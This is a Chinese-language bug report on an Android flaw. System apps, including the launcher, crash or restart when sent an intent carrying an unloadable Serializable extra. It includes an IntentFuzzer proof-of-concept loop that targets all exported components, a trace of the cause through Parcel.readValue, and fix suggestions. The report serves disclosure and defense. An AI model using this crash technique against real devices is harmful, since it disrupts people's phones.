bugreport_Android序列化参数intent导致的大量系统app崩溃重启通用bug


0x0 描述

通过IntentFuzzer工具对最新版android 9.0.0进行fuzz测试,发现诸多系统app皆存在同样的bug,可以让大部分app直接崩溃,最严重的可以让桌面(android:ui)直接重启。
这个问题可能存在于大量设备的大部分版本里面,目前我只测试了pixel_salifish的7.1.0 (NDE63H, Oct 2016)、8.1.0 (OPM4.171019.021.P1, Jul 2018)、9.0.0 (PPR2.181005.003.A1, Nov 2018)和master分支的aosp_salifish-userdebug Q PI eng.amd.20181105.110826 test-keys,这些版本均存在此类问题。

0x1 示例版本

设备:pixel(salifish)
版本号:android 9.0.0(PPR2.181005.003.A1, Nov 2018)
即官方(https://developers.google.com/android/images#sailfish)目前最新版本:

0x2 POC

基于开源的IntentFuzzer工具,主要攻击代码如下,对暴露的组件发送带序列化参数“test”的intent,少部分发送空intent也会导致崩溃:
 fuzzAllSeBtn.setOnClickListener(new OnClickListener(){
   @Override
   public void onClick(View v) {
    // TODO Auto-generated method stub
    for(ComponentName cmpName : components){
     Intent intent = new Intent();
     intent.setComponent(cmpName);
     intent.putExtra("test", new SerializableTest());
     if (sendIntentByType(intent, currentType)) {
      Toast.makeText(FuzzerActivity.this, "Sent Serializeable " + intent, Toast.LENGTH_LONG).show();
     } else {
      Toast.makeText(FuzzerActivity.this, R.string.send_faild, Toast.LENGTH_LONG).show();
     }
    }
   }

     });

0x3 bug原因

当app接收到带序列化参数的intent时,如果代码中读取了参数,即便不使用读取序列化方式(readSerializable),仅仅如下图普通方式,依然会去实例序列化对象:
@  Override
protected void onCreate(Bundle savedInstanceState){
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    ButterKnife.bind(target:this);

    getIntent().getIntExtra(name:"1234",defaultValue:1);
}
源码如下:
app接收到intent后,会通过Parcel.java相关代码进行解析,其中readVaule()方法会通过readInt()来读取参数类型:
https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/os/Parcel.java
    /**
     * Read a typed object from a parcel.  The given class loader will be
     * used to load any enclosed Parcelables.  If it is null, the default class
     * loader will be used.
     */
    public final Object readValue(ClassLoader loader) {
        int type = readInt();
        switch (type) {
        case VAL_NULL:
            return null;
        case VAL_STRING:
            return readString();
        ...
        case VAL_BYTE:
            return readByte();
//如果readInt()读取到值类型为`VAL_SERIALIZABLE`,则会调用readSerializable(loader)来解析intent参数
        case VAL_SERIALIZABLE:
            return readSerializable(loader);
        case VAL_PARCELABLEARRAY:
            return readParcelableArray(loader);
        ...
之后就会执行到BaseDexClassLoader的findClass,而findClass无法找到对象,从而抛出异常,最终app崩溃,部分进程如桌面(android:ui)崩溃后会重启
这意味着只要故意给目标app发一个不包含的class就会崩溃,这是一个通用问题。
app崩溃时第一个异常栈回溯如下:

0x4 修复建议

0x41 app层

所有app均添加异常处理,即可避免崩溃(BaseDexClassLoader依然会抛出异常)
@  Override
protected void onCreate(Bundle savedInstanceState){
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    ButterKnife.bind(target:this);

    try{
        getIntent().getIntExtra(name:"1234",defaultValue:1);
    }catch(Exception e){
        e.printStackTrace();
    }
}

0x42 系统层

建议从系统层入手,但我的代码能力薄弱,给不了有效建议。
